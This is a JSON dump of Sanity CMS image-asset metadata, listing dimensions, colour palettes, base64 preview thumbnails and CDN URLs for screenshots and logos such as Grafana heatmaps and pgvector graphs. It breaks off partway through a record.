{"_createdAt":"2023-06-23T12:55:32Z","_id":"image-2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad-2000x445-jpg","_rev":"KtWw3EPsvVF1DpRqAZupo5","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:17Z","altText":null,"assetId":"2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.49438202247191,"height":445,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAQI/8QAHBAAAwABBQAAAAAAAAAAAAAAAAECAxETITFR/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/ANK4ae81r2VuV4gACxylxKAAH//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4b4b","foreground":"#fff","population":0.63,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#404344","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b8bbbc","foreground":"#000","population":2.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8bbbc","foreground":"#000","population":2.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#babdbe","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b8183","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_second_table.jpg","path":"images/sczeoy4w/production/2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad-2000x445.jpg","sha1hash":"2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad","size":36457,"title":null,"uploadId":"DyM8L4Q8jkPIMmte42u7dyZPQTO3y0F5","url":"https://cdn.sanity.io/images/sczeoy4w/production/2fe2cb9a72e8c48cbd14cae58756edc671ccd1ad-2000x445.jpg"} {"_createdAt":"2023-06-23T12:55:32Z","_id":"image-300a68c3b8c30739b32990d22855256407339cf9-1586x970-jpg","_rev":"yn3ffGOj7FCOSHAOSRInMO","_type":"sanity.imageAsset","_updatedAt":"2023-06-23T12:56:03Z","altText":null,"assetId":"300a68c3b8c30739b32990d22855256407339cf9","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6350515463917525,"height":970,"width":1586},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAEDBAj/xAAhEAABBAEDBQAAAAAAAAAAAAABAAIDERIEFDEhUVJhcf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDpt+mkMrzHO6NniAqN00mLQZ30OfauWgPJTJNcoFHHg2sifqFj3MlkWOh7IQf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#405460","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac3446","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac5d62","foreground":"#fff","population":0.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8c0b3","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39fa9","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5d62","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc2424","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"pgvector_face_graph.jpg","path":"images/sczeoy4w/production/300a68c3b8c30739b32990d22855256407339cf9-1586x970.jpg","sha1hash":"300a68c3b8c30739b32990d22855256407339cf9","size":41673,"title":null,"uploadId":"8CaeSE2IMRcOaGzEjbGEGtdqYQ4if6ya","url":"https://cdn.sanity.io/images/sczeoy4w/production/300a68c3b8c30739b32990d22855256407339cf9-1586x970.jpg"} {"_createdAt":"2022-10-18T08:26:54Z","_id":"image-302997d9a46e2e391b43fb9020deded306c9ca84-1286x614-png","_rev":"yyK4AF2EtEc6zTH82ShrVR","_type":"sanity.imageAsset","_updatedAt":"2022-10-18T08:27:12Z","altText":null,"assetId":"302997d9a46e2e391b43fb9020deded306c9ca84","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0944625407166124,"height":614,"width":1286},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAABYkAAAWJAGbFcYUAAABK0lEQVQokW3RuU4cQRAG4H6H7e6ZurqqemZnd/YiscjAcgAByIEziCDnARApiZ/Dkh/Umj18LdIX/dXVUukPnbtZrz6oDcieMs0S7GHKlBvODceEpxAOYoSYIBStJI7swN6SZZC0l0GAnUtPpWtQ01+5AC0Yd4rB6hzEG9JzLRtKBfGW7XcIrCuhmz4/rHPo50ss9c/CyYffZTJk/WT4fAFvX7qgPgB7Ps5O7/Dj5YYMqFz1+H47/Hi5Cyi1JQM2FuNiXFy0snZYast2xpH1eqDvX7c/Xx/DdAYWEx1dt73vlvOLzXqz2XXDiGU6+F8VxTdVv10un+4/h4ylASnEc+HRy6qv6+ViHNdWh5Z0mp4BLCrqVkMCifsmY5qqSxnjhGKiWfy/3qNDHvEXKHJAvw2asDgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#472c26","foreground":"#fff","population":1.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#962404","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#472c26","foreground":"#fff","population":1.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcc4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8bc74","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848494","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de5b12","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Screenshot 2022-10-17 at 15.13.18.png","path":"images/sczeoy4w/production/302997d9a46e2e391b43fb9020deded306c9ca84-1286x614.png","sha1hash":"302997d9a46e2e391b43fb9020deded306c9ca84","size":141333,"title":"Grafana 9 heatmaps","uploadId":"58m4zCWEdXUQU8KkEpNs0DB0Jh6RqzxV","url":"https://cdn.sanity.io/images/sczeoy4w/production/302997d9a46e2e391b43fb9020deded306c9ca84-1286x614.png"} {"_createdAt":"2022-06-30T20:00:10Z","_id":"image-306861b767d88292a0541294a289584682da6470-1567x792-jpg","_rev":"6BJll63fjycTvao7AuphgJ","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:00:45Z","assetId":"306861b767d88292a0541294a289584682da6470","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDR{of}[-=PUKi-pnit7gNXS*JcXa0Qmvg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9785353535353536,"height":792,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBgj/xAAjEAACAQQBAwUAAAAAAAAAAAABAwIABAURIRITURUjUmFy/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAYEQADAQEAAAAAAAAAAAAAAAAAAQIRMf/aAAwDAQACEQMRAD8A0jknZWLVenqTNZPuFh0QPqk9q20kZMvMg2LjOXVHuEAc+Ks1lyWb+VSlCSdlSyfyKEXValOcE+KuRNDOy6TVhhEZE72OKKdRXCA1GEYjwBqikg//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82011d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec929e","foreground":"#000","population":0.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9d7cc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec929e","foreground":"#000","population":0.68,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#985870","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc1c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"306861b767d88292a0541294a289584682da6470-1567x792.jpg","path":"images/sczeoy4w/production/306861b767d88292a0541294a289584682da6470-1567x792.jpg","sha1hash":"306861b767d88292a0541294a289584682da6470","size":264240,"uploadId":"OUmQB93sB1MuFLoFPJ0SmPHh7NT8L3Zy","url":"https://cdn.sanity.io/images/sczeoy4w/production/306861b767d88292a0541294a289584682da6470-1567x792.jpg"} {"_createdAt":"2024-06-10T15:22:55Z","_id":"image-30701a6fd5169180c8496493eefa834b08361f1f-2862x1466-png","_rev":"rE19qWqXtwbnyVyXl5PgkU","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:55Z","assetId":"30701a6fd5169180c8496493eefa834b08361f1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6OWvwRO00?u0000M|~ps:-;00%f%gIA^*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9522510231923602,"height":1466,"width":2862},"exif":{"PixelXDimension":2862,"PixelYDimension":1466,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACHElEQVQokWWSTU8TURhG+zNNXBgToUhLUYsBRRYuXGpapbbIpyiYaMTI1wIlRBcE3aAxBlAptBRaptPpTOe7M+0xcztB1MXJm9zFuc9z7xvp7rlPNJZiaGSKB+nXZHKLZJ+sMDaxKsiFc2zyHOF5wGhuibv35kgkc1xNZIh0x1LEro2Szrxh48M221/2+PY9z85ugZ3dYjgL7OwV/+PHzxLbX/cZn3pHNJ7j4uU0ke54msRAlpnna+znS6g1BVWpo6o6asNA080QC920MC0by7axbQfP81HqOi8XNonGx7hwKUWkK9YRzs6vUyyW0WUZ5aRCVaohKQ2kuiGQNRPNsDFtF9tpCvxWC1UzeLu8xY3BSbp6RzsJ+wdyzL5Yp1goo0sSytERtfIpkqxRUQxBrWHRsBzMQOY2cVzvTLi0ssXN25P09D06J5xfp3AmLCGXT6lIdY6rDU5qepjQQbdcIQzqttttNM1gcXmLgVsTROMPg8opEsksT+feC6Gh1NFOJZSgcrVORdaoqgaqYQuZYbs4TQ/f94E2WsNkafUTg8NT9PZniFzpTdGX7Lxh6bhK03FwLQvHsrEDbAcnSOT7+H5L1GyFBAlVzWR59TNDIzPEr2f/Fp6UZXGz53kCX+B3EMI/uK6HrrvkD2u8Wthk6E4oDH65L/mY6WdrHByWMQwLXTfRg/kvweoITLEuv/I1Nj4eMD6zweDwtBD+BkftpZIlLRPOAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#473a70","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#252d7e","foreground":"#fff","population":0.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":10.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afc0cd","foreground":"#000","population":0.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8391dd","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c749c","foreground":"#fff","population":10.98,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6369b7","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"connect-opensearch.png","path":"images/sczeoy4w/production/30701a6fd5169180c8496493eefa834b08361f1f-2862x1466.png","sha1hash":"30701a6fd5169180c8496493eefa834b08361f1f","size":1043949,"uploadId":"yBde2R4iPjwWED9v8YnPS4rJ1BqgJLJ6","url":"https://cdn.sanity.io/images/sczeoy4w/production/30701a6fd5169180c8496493eefa834b08361f1f-2862x1466.png"} {"_createdAt":"2022-06-30T20:00:57Z","_id":"image-3072976e18e91d4e2888c975416242153bc16911-58x32-png","_rev":"CK1sLU2mnwa3vmbYWEdF84","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:10Z","assetId":"3072976e18e91d4e2888c975416242153bc16911","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M03[*m_ND$0000xuj[ayaxae00D%%N?c_4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8125,"height":32,"width":58},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGklEQVQoka1T2W6DMBDkHxoOG4MDhHDHXIGkSv//s6ZaQ6EURZXSPqxWjGdnh13b8PwAXEhw1/9bCAnSMlwhYTkuTJsvQd8rxjZnz8JyXJCWQcoEvJmOzq53RBRnOCUF/OAEiwl99luYNtcuF8GDxSBkiFK1uN4eGO4faLoRYZzq7lREnCkmV2tmW0ECqOicleiGd/TjQ+e6G1GpDsIPFifEpZogSnQz7xjBpPHM+CLocA951aDpb6jqHmlxQVooqHaADOKNoCdDzSFuFGfTvH8KEphklSblVY04KVCqThd+OSQeZZsJ7TA65+DiuP/l7zMsLi3qdtDOVHNdHGxnuG7+MDfZCe63nL+25X+5h/PI9D189lLYiy/lEyC/JV2JPslxAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44464c","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#76787b","foreground":"#fff","population":3.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#262672","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#76787b","foreground":"#fff","population":3.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3072976e18e91d4e2888c975416242153bc16911-58x32.png","path":"images/sczeoy4w/production/3072976e18e91d4e2888c975416242153bc16911-58x32.png","sha1hash":"3072976e18e91d4e2888c975416242153bc16911","size":857,"uploadId":"LhEH3mPa6U3Pbk9OtTbV5pNRhEjtmxn4","url":"https://cdn.sanity.io/images/sczeoy4w/production/3072976e18e91d4e2888c975416242153bc16911-58x32.png"} {"_createdAt":"2022-09-07T11:39:44Z","_id":"image-30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24-svg","_rev":"QRl2cGoCgj0FlAhkRqFjln","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:44Z","assetId":"30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACt0lEQVQ4jW1UO0+VQRA9IIgFBIjiM+Ar2viIlZJooo2NjwIpgBh57NkLogGiEW20sDYapLDSxCCxQEnUqATs/GF7zOzOd+8V/ZKTb3dn5uy8doCmTxOApgGNAJoEFAARLc1IzGfQbUCxrP/5soLhDqAHgBmlaSetZKF+QQNTgGpA2k6cJlx5HEg1v9nIA3aJ2C3ioCGVtZ0VHSeq0PDwrhMa2cPsYbuIARHXRSwm4oUKFkVcS0XWrnn30ohDRWZE0cMsgp0iTrvxZxGbIn46Nv3sUSJOKWJnzqnZ3XPSKj+WszSBFgUcFfHEjT+KWBBx07HgZ5uJeCziiKbQksbd06kmDz3pPSJGRHwVsWIhJ6JPAe2GFNDnafgg4ovr9mgByIhw5pKzQyKGRayK+CWCInrzZVbxmXo0vSKi66yKuJVtA9qs7Yxwh4gTiZgXsS7it4ilRJxTQGuT91UkrVlGLLnuuog541ANrXarhVET8UPEmhMPpoCu3ItV9Z3YC9dlOp7TNRHfzesUsceqe0HEO8/JqAL2agpt9Z4cc7JZQKNAsmpa35qO6RJj2TbirSLOm4dD3hJLCjimOSANNsKsXkG9mYPnc9Y7I+K4Il57hEPwQmyIeCnicPak9v+XUCet1pYSax3ilXMMW8iXvA0+ibgholsRLVl5O2m1t/drwyKgO5X+NNuVRFw0xQOpJNca+b0igiKuirgi4nJGdFT7IjOdkG2K7bwC9ltO2kScFfFMxDcRW+Z+Knm1MDYUHdW+Idtym6cizlihkGyuER2KOJmrTDwXsayIN6LD1k37VM6WXXc092BEh6WpVM1GVcwN25mIfSL6FfNEGcj/JqTGeb+Kbmd+ADOlzWAPO1l7+DCtT2QvRn1frasiNRfLxp8VasY8NKL7fymUcW+Vrv7N2C6vSCeLh38AYARkfdKpp90AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#786844","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1905","foreground":"#fff","population":1.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5670a","foreground":"#fff","population":6.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#863a12","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e47236","foreground":"#fff","population":1.91,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47d64","foreground":"#fff","population":0.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5670a","foreground":"#fff","population":6.25,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-cloud.svg","path":"images/sczeoy4w/production/30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24.svg","sha1hash":"30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38","size":263,"uploadId":"q5OgvQANiDvxl8zV2hAZ9Xl4Q7KO1cri","url":"https://cdn.sanity.io/images/sczeoy4w/production/30a5bd1f5d660a3b70fa5c8672d4e8d0ddc69e38-24x24.svg"} {"_createdAt":"2023-05-26T12:04:44Z","_id":"image-30a8e36d292741e8b06c1fac40e43acf0f5a9881-122x36-svg","_rev":"3YxqQWUIXkU9Q9rCEhTK8V","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:04:44Z","assetId":"30a8e36d292741e8b06c1fac40e43acf0f5a9881","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.388888888888889,"height":36,"width":122},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABCklEQVQYlU2Ry6sPUBSFf/K4+DyKfNfEQN8ARcodKvLO+02ZMKBkQCISIWHkkTI18J/q1FF3sNrtvTprrdZZYNuxbauwCzuLPcIOYOuxzdjWVfwJ7CF2CNs0uSWWWyywO9g57Dx2BbuOPcE+YDe32EHsOHYDu4Xdxh5jbweP7cf2zbl7CH7C3mDvsKfYC+wX9gd7j93FXmPf5nyJ/cD+Tv4odgS7NsIMwWfYF+wn9gp7Pvfv2Mdp8hn7ij3A7k/+9wxyElvBLmEXh+Bp7N50G+IXsGPzPmq4jF3FzmCHJ07Nnke6UclebA+2YwiOwpvu4/FObC22AduIMYtfmh80MLiB//s6lluDLf4BsgpAUth07GcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#14161f","foreground":"#fff","population":6.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04141e","foreground":"#fff","population":1.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#14161f","foreground":"#fff","population":6.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#115987","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ac8ef","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#115987","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e95e1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-splunk.svg","path":"images/sczeoy4w/production/30a8e36d292741e8b06c1fac40e43acf0f5a9881-122x36.svg","sha1hash":"30a8e36d292741e8b06c1fac40e43acf0f5a9881","size":3594,"uploadId":"yUnWlqdt6Xnk6DhzxAtR9wBi38G0Afxa","url":"https://cdn.sanity.io/images/sczeoy4w/production/30a8e36d292741e8b06c1fac40e43acf0f5a9881-122x36.svg"} {"_createdAt":"2023-06-13T11:19:58Z","_id":"image-30e449de0f1c2bb87f37dd65153adf5e6657ba74-1920x686-png","_rev":"tW7kMBSHIbCIaN9dzIvKZV","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T11:19:58Z","assetId":"30e449de0f1c2bb87f37dd65153adf5e6657ba74","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D009jvfQfQfQfQfQfQfQfQfQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7988338192419824,"height":686,"width":1920},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAAApElEQVQokbXQTWtCQQyF4cfe2qvdVdwI4mdpFS10q+JX6boL//+PKZGM3I27NvCSyeRM5hD+IVqo8Zz58Q5V0kY3tVX26iRmXS/G+MA7JpjjtUHU0yQ0n1hilv04j/IzT1hgjxO22GQd7HBo5B9c8J36c+ZVzrra7mGItyQcF0dxLg7j0ReOWDf0wSBn3fb4kJaDsq9C2WHsuY8XdFIbvfLm7+MXbCIKb/Fa8h4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":99.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4c4c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Full logo - blackbitmap.png","path":"images/sczeoy4w/production/30e449de0f1c2bb87f37dd65153adf5e6657ba74-1920x686.png","sha1hash":"30e449de0f1c2bb87f37dd65153adf5e6657ba74","size":17778,"uploadId":"aMRyXUnMyjXC3M8OXIOq19YgFSGJVpxR","url":"https://cdn.sanity.io/images/sczeoy4w/production/30e449de0f1c2bb87f37dd65153adf5e6657ba74-1920x686.png"} {"_createdAt":"2024-02-15T15:31:00Z","_id":"image-30e57c84b8b697348f740063bc132b071d136c96-3200x2040-png","_rev":"UjGmMOs0V2SxB808hz0pnN","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:31:00Z","assetId":"30e57c84b8b697348f740063bc132b071d136c96","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VA6Hl_VqIS-@RNOFs:xFNdoIM^I.S1s.kCJ5i^r=OXfS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5686274509803921,"height":2040,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAADTElEQVQ4jX2Ty24jZRCFy9d2nO62uzu+xI6r/r+vdvvW3XbSsR3HdhJ7QpJpiMeJgiYioAwsBoQEgg1sEGtgxY4Fz8Bz8CxseAEjW4LFLDjSkWpTn0pHp4AxBkS09Wa2LAvCMIRmswnuR7+ACwDcaSV4ZyBx77TIg7N91js/4J1hWW94KtNNmQglJNpFJBGMigr8oAy8WgRjXwGvCCDxPigVAxwVwNgAG36SHUcimzyq7Oy5QBefldjJvcq9icRMRybEHBLJiCRBp1qIWbVKwqmW4n5ZAk61GCNMM6I0Yyyu18oxZjVS6E9FDG8UHNzu4WhVoN6Fypt9iRlOlhAzSCQgYhoOuJFFrudr3MjVdDPDuJ5hjCuMMY1znuWcJS3TSXe7Iynoz9VueF3wwptSM5hputuTSDcl3FyIKCJiFoLuuNhuDyodb1Jpdccqa4/kWmukYd3TmN2WyLCEtt0QoqNL+W58p91OXxeXZ0/l+clKsf1JlgxbJET5P+D95KFyO3ss3148V67Gq72j86XsR89y6+yVWD+a7hj1puCaTnriT6XZ4WJvEl6Vpsc3+4fBVDPdnsishsAQE0gUR8QYPJw/Kav5m9zd5ef51fQD8ZMo3H37OBbvXg53ToaB0Khbad10BNOfSObhC00Pb4p6GJV1f7bH3SDHDHuToYBEKURMQm8QJYPBy6Q/WCZPj/rJLy5Lqa+vi8JyVE0fd1jS1jFZd11h9OJaGt4+KVb0lXoQfaeZi+ecG05Fblh5RNQQaZOjDOvf/4aN1us1gJ6DeX8fFsF+rOdirOnosUoV40HbTL1aeNLqeqD2Zu8pbHSXbx7P5CDoiJZl7G6yI8IMImbgr/V6C9t4BwB+iDLwY5SFxxMV7NoeVCtVsG0r1fU7ktfvaaY/LGB3XOStvmbWm7JumhlCTBBRfGMwDAMs0wDiJgQuQXRcgZuwCn6DtpeXdgAct530xpeit/hQsRefanz+tmCcPuRNfywyw97UZvspRJTdLr0rzvnW/+rqqJn45v2x9P39lfIUfZxfXn2ZX16+3h2fDDOGue1hnoi24P8Frv/swvqPEN4ERuLXiSX9NqlrPx921J+6PeVbryVdeIbg2DxFSAki3NQm/g855Z9BMBYP/wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3d50","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#644511","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2e3d50",